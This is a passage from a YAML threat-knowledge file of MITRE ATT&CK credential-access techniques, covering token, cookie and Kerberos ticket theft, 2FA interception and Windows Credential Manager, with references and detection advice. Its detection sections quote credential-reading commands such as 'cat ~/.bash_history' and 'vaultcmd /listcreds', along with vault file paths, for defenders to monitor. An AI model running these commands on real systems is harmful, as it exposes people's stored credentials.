        on behalf of a user and are commonly used as a way to access resources in
        cloud-based applications and software-as-a-service (SaaS).(Citation: Auth0
        - Why You Should Always Use Access Tokens to Secure APIs Sept 2019) OAuth
        is one commonly implemented framework that issues tokens to users for access
        to systems. An application desiring access to cloud-based services or protected
        APIs can gain entry using OAuth 2.0 through a variety of authorization protocols.
        An example commonly-used sequence is Microsoft's Authorization Code Grant
        flow.(Citation: Microsoft Identity Platform Protocols May 2019)(Citation:
        Microsoft - OAuth Code Authorization flow - June 2019) An OAuth access token
        enables a third-party application to interact with resources containing user
        data in the ways requested by the application without obtaining user credentials.
        \n \nAdversaries can leverage OAuth authorization by constructing a malicious
        application designed to be granted access to resources with the target user's
        OAuth token. The adversary will need to complete registration of their application
        with the authorization server, for example Microsoft Identity Platform using
        Azure Portal, the Visual Studio IDE, the command-line interface, PowerShell,
        or REST API calls.(Citation: Microsoft - Azure AD App Registration - May 2019)
        Then, they can send a link through [Spearphishing Link](https://attack.mitre.org/techniques/T1566/002)
        to the target user to entice them to grant access to the application. Once
        the OAuth access token is granted, the application can gain potentially long-term
        access to features of the user account through [Application Access Token](https://attack.mitre.org/techniques/T1550/001).(Citation:
        Microsoft - Azure AD Identity Tokens - Aug 2019)\n\nAdversaries have been
        seen targeting Gmail, Microsoft Outlook, and Yahoo Mail users.(Citation: Amnesty
        OAuth Phishing Attacks, August 2019)(Citation: Trend Micro Pawn Storm OAuth
        2017)"
      name: Steal Application Access Token
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - url: https://attack.mitre.org/techniques/T1528
        source_name: mitre-attack
        external_id: T1528
      - description: Auth0. (n.d.). Why You Should Always Use Access Tokens to Secure
          APIs. Retrieved September 12, 2019.
        url: https://auth0.com/blog/why-should-use-accesstokens-to-secure-an-api/
        source_name: Auth0 - Why You Should Always Use Access Tokens to Secure APIs
          Sept 2019
      - description: Microsoft. (n.d.). Retrieved September 12, 2019.
        url: https://docs.microsoft.com/en-us/azure/active-directory/develop/active-directory-v2-protocols
        source_name: Microsoft Identity Platform Protocols May 2019
      - description: Microsoft. (n.d.). Microsoft identity platform and OAuth 2.0
          authorization code flow. Retrieved September 12, 2019.
        url: https://docs.microsoft.com/en-us/azure/active-directory/develop/v2-oauth2-auth-code-flow
        source_name: Microsoft - OAuth Code Authorization flow - June 2019
      - description: 'Microsoft. (2019, May 8). Quickstart: Register an application
          with the Microsoft identity platform. Retrieved September 12, 2019.'
        url: https://docs.microsoft.com/en-us/azure/active-directory/develop/quickstart-register-app
        source_name: Microsoft - Azure AD App Registration - May 2019
      - description: Microsoft. (2019, August 29). Microsoft identity platform access
          tokens. Retrieved September 12, 2019.
        url: https://docs.microsoft.com/en-us/azure/active-directory/develop/access-tokens
        source_name: Microsoft - Azure AD Identity Tokens - Aug 2019
      - description: Amnesty International. (2019, August 16). Evolving Phishing Attacks
          Targeting Journalists and Human Rights Defenders from the Middle-East and
          North Africa. Retrieved October 8, 2019.
        url: https://www.amnesty.org/en/latest/research/2019/08/evolving-phishing-attacks-targeting-journalists-and-human-rights-defenders-from-the-middle-east-and-north-africa/
        source_name: Amnesty OAuth Phishing Attacks, August 2019
      - description: Hacquebord, F.. (2017, April 25). Pawn Storm Abuses Open Authentication
          in Advanced Social Engineering Attacks. Retrieved October 4, 2019.
        url: https://blog.trendmicro.com/trendlabs-security-intelligence/pawn-storm-abuses-open-authentication-advanced-social-engineering-attacks
        source_name: Trend Micro Pawn Storm OAuth 2017
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: credential-access
      modified: '2021-04-14T17:56:17.311Z'
      created: '2019-09-04T15:54:25.684Z'
      x_mitre_is_subtechnique: false
      x_mitre_detection: |-
        Administrators should set up monitoring to trigger automatic alerts when policy criteria are met. For example, using a Cloud Access Security Broker (CASB), admins can create a “High severity app permissions” policy that generates alerts if apps request high severity permissions or send permissions requests for too many users.

        Security analysts can hunt for malicious apps using the tools available in their CASB, identity provider, or resource provider (depending on platform.) For example, they can filter for apps that are authorized by a small number of users, apps requesting high risk permissions, permissions incongruous with the app’s purpose, or apps with old “Last authorized” fields. A specific app can be investigated using an activity log displaying activities the app has performed, although some activities may be mis-logged as being performed by the user. App stores can be useful resources to further investigate suspicious apps.

        Administrators can set up a variety of logs and leverage audit tools to monitor actions that can be conducted as a result of OAuth 2.0 access. For instance, audit reports enable admins to identify privilege escalation actions such as role creations or policy modifications, which could be actions performed after initial access.
      x_mitre_platforms:
      - SaaS
      - Office 365
      - Azure AD
      - Google Workspace
      x_mitre_permissions_required:
      - User
      x_mitre_version: '1.1'
      x_mitre_contributors:
      - Shailesh Tiwary (Indian Army)
      - Mark Wee
      - Jeff Sakowicz, Microsoft Identity Developer Platform Services (IDPM Services)
      - Saisha Agrawal, Microsoft Threat Intelligent Center (MSTIC)
      x_mitre_data_sources:
      - 'User Account: User Account Modification'
    atomic_tests: []
  T1539:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1539
        url: https://attack.mitre.org/techniques/T1539
      - description: Rehberger, J. (2018, December). Pivot to the Cloud using Pass
          the Cookie. Retrieved April 5, 2019.
        url: https://wunderwuzzi23.github.io/blog/passthecookie.html
        source_name: Pass The Cookie
      - source_name: Kaspersky TajMahal April 2019
        url: https://securelist.com/project-tajmahal/90240/
        description: GReAT. (2019, April 10). Project TajMahal – a sophisticated new
          APT framework. Retrieved October 14, 2019.
      - source_name: Unit 42 Mac Crypto Cookies January 2019
        url: https://unit42.paloaltonetworks.com/mac-malware-steals-cryptocurrency-exchanges-cookies/
        description: Chen, Y., Hu, W., Xu, Z., et. al. (2019, January 31). Mac Malware
          Steals Cryptocurrency Exchanges’ Cookies. Retrieved October 14, 2019.
      - description: Gretzky, Kuba. (2019, April 10). Retrieved October 8, 2019.
        url: https://github.com/kgretzky/evilginx2
        source_name: Github evilginx2
      - source_name: GitHub Mauraena
        url: https://github.com/muraenateam/muraena
        description: Orrù, M., Trotta, G.. (2019, September 11). Muraena. Retrieved
          October 14, 2019.
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Steal Web Session Cookie
      description: |-
        An adversary may steal web application or service session cookies and use them to gain access to web applications or Internet services as an authenticated user without needing credentials. Web applications and services often use session cookies as an authentication token after a user has authenticated to a website.

        Cookies are often valid for an extended period of time, even if the web application is not actively used. Cookies can be found on disk, in the process memory of the browser, and in network traffic to remote systems. Additionally, other applications on the targets machine might store sensitive authentication cookies in memory (e.g. apps which authenticate to cloud services). Session cookies can be used to bypasses some multi-factor authentication protocols.(Citation: Pass The Cookie)

        There are several examples of malware targeting cookies from web browsers on the local system.(Citation: Kaspersky TajMahal April 2019)(Citation: Unit 42 Mac Crypto Cookies January 2019) There are also open source frameworks such as Evilginx 2 and Muraena that can gather session cookies through a man-in-the-middle proxy that can be set up by an adversary and used in phishing campaigns.(Citation: Github evilginx2)(Citation: GitHub Mauraena)

        After an adversary acquires a valid cookie, they can then perform a [Web Session Cookie](https://attack.mitre.org/techniques/T1550/004) technique to login to the corresponding web application.
      id: attack-pattern--10ffac09-e42d-4f56-ab20-db94c67d76ff
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: credential-access
      modified: '2021-04-14T17:57:07.903Z'
      created: '2019-10-08T20:04:35.508Z'
      x_mitre_is_subtechnique: false
      x_mitre_detection: Monitor for attempts to access files and repositories on
        a local system that are used to store browser session cookies. Monitor for
        attempts by programs to inject into or dump browser process memory.
      x_mitre_data_sources:
      - 'File: File Access'
      - 'Process: Process Access'
      x_mitre_version: '1.1'
      x_mitre_permissions_required:
      - User
      x_mitre_contributors:
      - Microsoft Threat Intelligence Center (MSTIC)
      - Johann Rehberger
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      - Office 365
      - SaaS
      - Google Workspace
    atomic_tests: []
  T1558:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1558
        url: https://attack.mitre.org/techniques/T1558
      - external_id: CAPEC-652
        source_name: capec
        url: https://capec.mitre.org/data/definitions/652.html
      - source_name: ADSecurity Kerberos Ring Decoder
        url: https://adsecurity.org/?p=227
        description: Sean Metcalf. (2014, September 12). Kerberos, Active Directory’s
          Secret Decoder Ring. Retrieved February 27, 2020.
      - url: https://adsecurity.org/?p=1515
        description: Metcalf, S. (2015, May 03). Detecting Forged Kerberos Ticket
          (Golden Ticket & Silver Ticket) Use in Active Directory. Retrieved December
          23, 2015.
        source_name: ADSecurity Detecting Forged Tickets
      - source_name: Stealthbits Detect PtT 2019
        url: https://blog.stealthbits.com/detect-pass-the-ticket-attacks
        description: Jeff Warren. (2019, February 19). How to Detect Pass-the-Ticket
          Attacks. Retrieved February 27, 2020.
      - url: https://cert.europa.eu/static/WhitePapers/UPDATED%20-%20CERT-EU_Security_Whitepaper_2014-007_Kerberos_Golden_Ticket_Protection_v1_4.pdf
        description: Abolins, D., Boldea, C., Socha, K., Soria-Machado, M. (2016,
          April 26). Kerberos Golden Ticket Protection. Retrieved July 13, 2017.
        source_name: CERT-EU Golden Ticket Protection
      - source_name: Microsoft Kerberos Golden Ticket
        url: https://gallery.technet.microsoft.com/scriptcenter/Kerberos-Golden-Ticket-b4814285
        description: Microsoft. (2015, March 24). Kerberos Golden Ticket Check (Updated).
          Retrieved February 27, 2020.
      - url: https://blogs.technet.microsoft.com/motiba/2018/02/23/detecting-kerberoasting-activity-using-azure-security-center/
        description: Bani, M. (2018, February 23). Detecting Kerberoasting activity
          using Azure Security Center. Retrieved March 23, 2018.
        source_name: Microsoft Detecting Kerberoasting Feb 2018
      - url: https://adsecurity.org/?p=2293
        description: Metcalf, S. (2015, December 31). Cracking Kerberos TGS Tickets
          Using Kerberoast – Exploiting Kerberos to Compromise the Active Directory
          Domain. Retrieved March 22, 2018.
        source_name: AdSecurity Cracking Kerberos Dec 2015
      - description: French, D. (2018, October 2). Detecting Attempts to Steal Passwords
          from Memory. Retrieved October 11, 2019.
        url: https://medium.com/threatpunter/detecting-attempts-to-steal-passwords-from-memory-558f16dce4ea
        source_name: Medium Detecting Attempts to Steal Passwords from Memory
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Steal or Forge Kerberos Tickets
      description: "Adversaries may attempt to subvert Kerberos authentication by
        stealing or forging Kerberos tickets to enable [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003).
        \n\nKerberos is an authentication protocol widely used in modern Windows domain
        environments. In Kerberos environments, referred to as “realms”, there are
        three basic participants: client, service, and Key Distribution Center (KDC).(Citation:
        ADSecurity Kerberos Ring Decoder) Clients request access to a service and
        through the exchange of Kerberos tickets, originating from KDC, they are granted
        access after having successfully authenticated. The KDC is responsible for
        both authentication and ticket granting.  Attackers may attempt to abuse Kerberos
        by stealing tickets or forging tickets to enable unauthorized access."
      id: attack-pattern--3fc01293-ef5e-41c6-86ce-61f10706b64a
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: credential-access
      modified: '2020-11-05T16:07:04.189Z'
      created: '2020-02-11T19:12:46.830Z'
      x_mitre_system_requirements:
      - Kerberos authentication enabled
      x_mitre_data_sources:
      - 'Active Directory: Active Directory Credential Request'
      - 'Logon Session: Logon Session Metadata'
      x_mitre_detection: "Monitor for anomalous Kerberos activity, such as malformed
        or blank fields in Windows logon/logoff events (Event ID 4624, 4672, 4634),
        RC4 encryption within ticket granting tickets (TGTs), and ticket granting
        service (TGS) requests without preceding TGT requests.(Citation: ADSecurity
        Detecting Forged Tickets)(Citation: Stealthbits Detect PtT 2019)(Citation:
        CERT-EU Golden Ticket Protection)\n\nMonitor the lifetime of TGT tickets for
        values that differ from the default domain duration.(Citation: Microsoft Kerberos
        Golden Ticket)\n\nMonitor for indications of [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003)
        being used to move laterally. \n\nEnable Audit Kerberos Service Ticket Operations
        to log Kerberos TGS service ticket requests. Particularly investigate irregular
        patterns of activity (ex: accounts making numerous requests, Event ID 4769,
        within a small time frame, especially if they also request RC4 encryption
        [Type 0x17]).(Citation: Microsoft Detecting Kerberoasting Feb 2018) (Citation:
        AdSecurity Cracking Kerberos Dec 2015)\n\nMonitor for unexpected processes
        interacting with lsass.exe.(Citation: Medium Detecting Attempts to Steal Passwords
        from Memory) Common credential dumpers such as [Mimikatz](https://attack.mitre.org/software/S0002)
        access the LSA Subsystem Service (LSASS) process by opening the process, locating
        the LSA secrets key, and decrypting the sections in memory where credential
        details, including Kerberos tickets, are stored."
      x_mitre_version: '1.2'
      x_mitre_is_subtechnique: false
      x_mitre_platforms:
      - Windows
    atomic_tests: []
  T1111:
    technique:
      created: '2017-05-31T21:31:23.195Z'
      modified: '2020-03-25T20:35:21.672Z'
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: credential-access
      type: attack-pattern
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        external_id: T1111
        url: https://attack.mitre.org/techniques/T1111
      - url: https://dl.mandiant.com/EE/assets/PDF_MTrends_2011.pdf
        description: Mandiant. (2011, January 27). Mandiant M-Trends 2011. Retrieved
          January 10, 2016.
        source_name: Mandiant M Trends 2011
      - url: https://gcn.com/articles/2011/06/07/rsa-confirms-tokens-used-to-hack-lockheed.aspx
        description: Jackson, William. (2011, June 7). RSA confirms its tokens used
          in Lockheed hack. Retrieved September 24, 2018.
        source_name: GCN RSA June 2011
      - url: http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp-finding-holes-operation-emmental.pdf
        description: Sancho, D., Hacquebord, F., Link, R. (2014, July 22). Finding
          Holes Operation Emmental. Retrieved February 9, 2016.
        source_name: Operation Emmental
      description: "Adversaries may target two-factor authentication mechanisms, such
        as smart cards, to gain access to credentials that can be used to access systems,
        services, and network resources. Use of two or multi-factor authentication
        (2FA or MFA) is recommended and provides a higher level of security than user
        names and passwords alone, but organizations should be aware of techniques
        that could be used to intercept and bypass these security mechanisms. \n\nIf
        a smart card is used for two-factor authentication, then a keylogger will
        need to be used to obtain the password associated with a smart card during
        normal use. With both an inserted card and access to the smart card password,
        an adversary can connect to a network resource using the infected system to
        proxy the authentication with the inserted hardware token. (Citation: Mandiant
        M Trends 2011)\n\nAdversaries may also employ a keylogger to similarly target
        other hardware tokens, such as RSA SecurID. Capturing token input (including
        a user's personal identification code) may provide temporary access (i.e.
        replay the one-time passcode until the next value rollover) as well as possibly
        enabling adversaries to reliably predict future authentication values (given
        access to both the algorithm and any seed values used to generate appended
        temporary codes). (Citation: GCN RSA June 2011)\n\nOther methods of 2FA may
        be intercepted and used by an adversary to authenticate. It is common for
        one-time codes to be sent via out-of-band communications (email, SMS). If
        the device and/or service is not secured, then it may be vulnerable to interception.
        Although primarily focused on by cyber criminals, these authentication mechanisms
        have been targeted by advanced actors. (Citation: Operation Emmental)"
      name: Two-Factor Authentication Interception
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      id: attack-pattern--dd43c543-bb85-4a6f-aa6e-160d90d06a49
      x_mitre_version: '1.1'
      x_mitre_contributors:
      - John Lambert, Microsoft Threat Intelligence Center
      x_mitre_data_sources:
      - 'Windows Registry: Windows Registry Key Modification'
      - 'Driver: Driver Load'
      - 'Process: OS API Execution'
      x_mitre_detection: |-
        Detecting use of proxied smart card connections by an adversary may be difficult because it requires the token to be inserted into a system; thus it is more likely to be in use by a legitimate user and blend in with other network behavior.

        Similar to [Input Capture](https://attack.mitre.org/techniques/T1056), keylogging activity can take various forms but can may be detected via installation of a driver, setting a hook, or usage of particular API calls associated with polling to intercept keystrokes.
      x_mitre_permissions_required:
      - Administrator
      - SYSTEM
      x_mitre_platforms:
      - Linux
      - Windows
      - macOS
      x_mitre_system_requirements:
      - |-
        Smart card Proxy: Use of smart cards for single or multifactor authentication to access to network resources. Attached smart card reader with card inserted.

        Out-of-band one-time code: Access to the device, service, or communications to intercept the one-time code.

        Hardware token: Access to the seed and algorithm of generating one-time codes.
      x_mitre_is_subtechnique: false
    atomic_tests: []
  T1552:
    technique:
      id: attack-pattern--435dfb86-2697-4867-85b5-2fef496c0517
      description: Adversaries may search compromised systems to find and obtain insecurely
        stored credentials. These credentials can be stored and/or misplaced in many
        locations on a system, including plaintext files (e.g. [Bash History](https://attack.mitre.org/techniques/T1552/003)),
        operating system or application-specific repositories (e.g. [Credentials in
        Registry](https://attack.mitre.org/techniques/T1552/002)), or other specialized
        files/artifacts (e.g. [Private Keys](https://attack.mitre.org/techniques/T1552/004)).
      name: Unsecured Credentials
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        external_id: T1552
        url: https://attack.mitre.org/techniques/T1552
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: credential-access
      modified: '2021-04-12T18:32:33.620Z'
      created: '2020-02-04T12:47:23.631Z'
      x_mitre_platforms:
      - Windows
      - Azure AD
      - Office 365
      - SaaS
      - IaaS
      - Linux
      - macOS
      - Google Workspace
      - Containers
      x_mitre_permissions_required:
      - User
      - Administrator
      - SYSTEM
      x_mitre_is_subtechnique: false
      x_mitre_version: '1.2'
      x_mitre_detection: |-
        While detecting adversaries accessing credentials may be difficult without knowing they exist in the environment, it may be possible to detect adversary use of credentials they have obtained. Monitor the command-line arguments of executing processes for suspicious words or regular expressions that may indicate searching for a password (for example: password, pwd, login, secure, or credentials). See [Valid Accounts](https://attack.mitre.org/techniques/T1078) for more information.

        Monitor for suspicious file access activity, specifically indications that a process is reading multiple files in a short amount of time and/or using command-line arguments  indicative of searching for credential material (ex: regex patterns). These may be indicators of automated/scripted credential access behavior.

        Monitoring when the user's <code>.bash_history</code> is read can help alert to suspicious activity. While users do typically rely on their history of commands, they often access this history through other utilities like "history" instead of commands like <code>cat ~/.bash_history</code>.

        Additionally, monitor processes for applications that can be used to query the Registry, such as [Reg](https://attack.mitre.org/software/S0075), and collect command parameters that may indicate credentials are being searched. Correlate activity with related suspicious behavior that may indicate an active intrusion to reduce false positives.
      x_mitre_data_sources:
      - 'Command: Command Execution'
      - 'File: File Access'
      - 'Process: Process Creation'
      - 'User Account: User Account Authentication'
      - 'Windows Registry: Windows Registry Key Access'
    atomic_tests: []
  T1606.001:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1606.001
        url: https://attack.mitre.org/techniques/T1606/001
      - description: Rehberger, J. (2018, December). Pivot to the Cloud using Pass
          the Cookie. Retrieved April 5, 2019.
        url: https://wunderwuzzi23.github.io/blog/passthecookie.html
        source_name: Pass The Cookie
      - source_name: Volexity SolarWinds
        url: https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/
        description: Cash, D. et al. (2020, December 14). Dark Halo Leverages SolarWinds
          Compromise to Breach Organizations. Retrieved December 29, 2020.
      - source_name: Unit 42 Mac Crypto Cookies January 2019
        url: https://unit42.paloaltonetworks.com/mac-malware-steals-cryptocurrency-exchanges-cookies/
        description: Chen, Y., Hu, W., Xu, Z., et. al. (2019, January 31). Mac Malware
          Steals Cryptocurrency Exchanges’ Cookies. Retrieved October 14, 2019.
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Web Cookies
      description: |-
        Adversaries may forge web cookies that can be used to gain access to web applications or Internet services. Web applications and services (hosted in cloud SaaS environments or on-premise servers) often use session cookies to authenticate and authorize user access.

        Adversaries may generate these cookies in order to gain access to web resources. This differs from [Steal Web Session Cookie](https://attack.mitre.org/techniques/T1539) and other similar behaviors in that the cookies are new and forged by the adversary, rather than stolen or intercepted from legitimate users. Most common web applications have standardized and documented cookie values that can be generated using provided tools or interfaces.(Citation: Pass The Cookie) The generation of web cookies often requires secret values, such as passwords, [Private Keys](https://attack.mitre.org/techniques/T1552/004), or other cryptographic seed values.

        Once forged, adversaries may use these web cookies to access resources ([Web Session Cookie](https://attack.mitre.org/techniques/T1550/004)), which may bypass multi-factor and other authentication protection mechanisms.(Citation: Volexity SolarWinds)(Citation: Pass The Cookie)(Citation: Unit 42 Mac Crypto Cookies January 2019)
      id: attack-pattern--861b8fd2-57f3-4ee1-ab5d-c19c3b8c7a4a
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: credential-access
      modified: '2021-01-11T20:31:36.404Z'
      created: '2020-12-17T02:14:34.178Z'
      x_mitre_data_sources:
      - 'Logon Session: Logon Session Creation'
      - 'Web Credential: Web Credential Creation'
      - 'Web Credential: Web Credential Usage'
      x_mitre_detection: Monitor for anomalous authentication activity, such as logons
        or other user session activity associated with unknown accounts. Monitor for
        unexpected and abnormal access to resources, including access of websites
        and cloud-based applications by the same user in different locations or by
        different systems that do not match expected configurations.
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      - SaaS
    atomic_tests: []
  T1056.003:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1056.003
        url: https://attack.mitre.org/techniques/T1056/003
      - external_id: CAPEC-569
        source_name: capec
        url: https://capec.mitre.org/data/definitions/569.html
      - url: https://www.volexity.com/blog/2015/10/07/virtual-private-keylogging-cisco-web-vpns-leveraged-for-access-and-persistence/
        description: 'Adair, S. (2015, October 7). Virtual Private Keylogging: Cisco
          Web VPNs Leveraged for Access and Persistence. Retrieved March 20, 2017.'
        source_name: Volexity Virtual Private Keylogging
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Web Portal Capture
      description: |-
        Adversaries may install code on externally facing portals, such as a VPN login page, to capture and transmit credentials of users who attempt to log into the service. For example, a compromised login page may log provided user credentials before logging the user in to the service.

        This variation on input capture may be conducted post-compromise using legitimate administrative access as a backup measure to maintain network access through [External Remote Services](https://attack.mitre.org/techniques/T1133) and [Valid Accounts](https://attack.mitre.org/techniques/T1078) or as part of the initial compromise by exploitation of the externally facing web service.(Citation: Volexity Virtual Private Keylogging)
      id: attack-pattern--69e5226d-05dc-4f15-95d7-44f5ed78d06e
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: collection
      - kill_chain_name: mitre-attack
        phase_name: credential-access
      modified: '2020-03-24T21:16:16.580Z'
      created: '2020-02-11T18:59:50.058Z'
      x_mitre_system_requirements:
      - An externally facing login portal is configured.
      x_mitre_data_sources:
      - 'File: File Modification'
      x_mitre_detection: File monitoring may be used to detect changes to files in
        the Web directory for organization login pages that do not match with authorized
        updates to the Web server's content.
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
    atomic_tests: []
  T1555.004:
    technique:
      id: attack-pattern--d336b553-5da9-46ca-98a8-0b23f49fb447
      description: |-
        Adversaries may acquire credentials from the Windows Credential Manager. The Credential Manager stores credentials for signing into websites, applications, and/or devices that request authentication through NTLM or Kerberos in Credential Lockers (previously known as Windows Vaults).(Citation: Microsoft Credential Manager store)(Citation: Microsoft Credential Locker)

        The Windows Credential Manager separates website credentials from application or network credentials in two lockers. As part of [Credentials from Web Browsers](https://attack.mitre.org/techniques/T1555/003), Internet Explorer and Microsoft Edge website credentials are managed by the Credential Manager and are stored in the Web Credentials locker. Application and network credentials are stored in the Windows Credentials locker.

        Credential Lockers store credentials in encrypted <code>.vcrd</code> files, located under <code>%Systemdrive%\Users\\[Username]\AppData\Local\Microsoft\\[Vault/Credentials]\</code>. The encryption key can be found in a file named <code>Policy.vpol</code>, typically located in the same folder as the credentials.(Citation: passcape Windows Vault)(Citation: Malwarebytes The Windows Vault)

        Adversaries may list credentials managed by the Windows Credential Manager through several mechanisms. <code>vaultcmd.exe</code> is a native Windows executable that can be used to enumerate credentials stored in the Credential Locker through a command-line interface. Adversaries may gather credentials by reading files located inside of the Credential Lockers. Adversaries may also abuse Windows APIs such as <code>CredEnumerateA</code> to list credentials managed by the Credential Manager.(Citation: Microsoft CredEnumerate)(Citation: Delpy Mimikatz Crendential Manager)

        Adversaries may use password recovery tools to obtain plain text passwords from the Credential Manager.(Citation: Malwarebytes The Windows Vault)
      name: Windows Credential Manager
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        external_id: T1555.004
        url: https://attack.mitre.org/techniques/T1555/004
      - source_name: Microsoft Credential Manager store
        url: https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/hh994565(v=ws.11)#credential-manager-store
        description: Microsoft. (2016, August 31). Cached and Stored Credentials Technical
          Overview. Retrieved November 24, 2020.
      - source_name: Microsoft Credential Locker
        url: https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-8.1-and-8/jj554668(v=ws.11)?redirectedfrom=MSDN
        description: Microsoft. (2013, October 23). Credential Locker Overview. Retrieved
          November 24, 2020.
      - source_name: passcape Windows Vault
        url: https://www.passcape.com/windows_password_recovery_vault_explorer
        description: Passcape. (n.d.). Windows Password Recovery - Vault Explorer
          and Decoder. Retrieved November 24, 2020.
      - source_name: Malwarebytes The Windows Vault
        url: 'https://blog.malwarebytes.com/101/2016/01/the-windows-vaults/ '
        description: Arntz, P. (2016, March 30). The Windows Vault . Retrieved November
          23, 2020.
      - source_name: Microsoft CredEnumerate
        url: https://docs.microsoft.com/en-us/windows/win32/api/wincred/nf-wincred-credenumeratea
        description: Microsoft. (2018, December 5). CredEnumarateA function (wincred.h).
          Retrieved November 24, 2020.
      - source_name: Delpy Mimikatz Crendential Manager
        url: https://github.com/gentilkiwi/mimikatz/wiki/howto-~-credential-manager-saved-credentials
        description: Delpy, B. (2017, December 12). howto ~ credential manager saved
          credentials. Retrieved November 23, 2020.
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: credential-access
      modified: '2021-04-29T21:00:18.973Z'
      created: '2020-11-23T15:35:53.793Z'
      x_mitre_platforms:
      - Windows
      x_mitre_contributors:
      - Bernaldo Penas Antelo
      - Mugdha Peter Bansode
      x_mitre_data_sources:
      - 'Process: Process Creation'
      - 'Command: Command Execution'
      - 'Process: OS API Execution'
      - 'File: File Access'
      x_mitre_detection: |-
        Monitor process and command-line parameters of <code>vaultcmd.exe</code> for suspicious activity, such as listing credentials from the Windows Credentials locker (i.e., <code>vaultcmd /listcreds:“Windows Credentials”</code>).(Citation: Malwarebytes The Windows Vault)

        Consider monitoring API calls such as <code>CredEnumerateA</code> that may list credentials from the Windows Credential Manager.(Citation: Microsoft CredEnumerate)(Citation: Delpy Mimikatz Crendential Manager)

        Consider monitoring file reads to Vault locations, <code>%Systemdrive%\Users\\[Username]\AppData\Local\Microsoft\\[Vault/Credentials]\</code>, for suspicious activity.(Citation: Malwarebytes The Windows Vault)
      x_mitre_permissions_required:
      - User
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.0'
    atomic_tests: []
collection:
  T1557.002:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1557.002
        url: https://attack.mitre.org/techniques/T1557/002
      - source_name: RFC826 ARP
        url: https://tools.ietf.org/html/rfc826
        description: Plummer, D. (1982, November). An Ethernet Address Resolution
          Protocol. Retrieved October 15, 2020.
      - source_name: Sans ARP Spoofing Aug 2003
        url: https://pen-testing.sans.org/resources/papers/gcih/real-world-arp-spoofing-105411
        description: Siles, R. (2003, August). Real World ARP Spoofing. Retrieved
          October 15, 2020.
      - source_name: Cylance Cleaver
        description: Cylance. (2014, December). Operation Cleaver. Retrieved September
          14, 2017.
        url: https://web.archive.org/web/20200302085133/https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: ARP Cache Poisoning
      description: |
        Adversaries may poison Address Resolution Protocol (ARP) caches to position themselves between the communication of two or more networked devices. This activity may be used to enable follow-on behaviors such as [Network Sniffing](https://attack.mitre.org/techniques/T1040) or [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002).

        The ARP protocol is used to resolve IPv4 addresses to link layer addresses, such as a media access control (MAC) address.(Citation: RFC826 ARP) Devices in a local network segment communicate with each other by using link layer addresses. If a networked device does not have the link layer address of a particular networked device, it may send out a broadcast ARP request to the local network to translate the IP address to a MAC address. The device with the associated IP address directly replies with its MAC address. The networked device that made the ARP request will then use as well as store that information in its ARP cache.

        An adversary may passively wait for an ARP request to poison the ARP cache of the requesting device. The adversary may reply with their MAC address, thus deceiving the victim by making them believe that they are communicating with the intended networked device. For the adversary to poison the ARP cache, their reply must be faster than the one made by the legitimate IP address owner. Adversaries may also send a gratuitous ARP reply that maliciously announces the ownership of a particular IP address to all the devices in the local network segment.

        The ARP protocol is stateless and does not require authentication. Therefore, devices may wrongly add or update the MAC address of the IP address in their ARP cache.(Citation: Sans ARP Spoofing Aug 2003)(Citation: Cylance Cleaver)

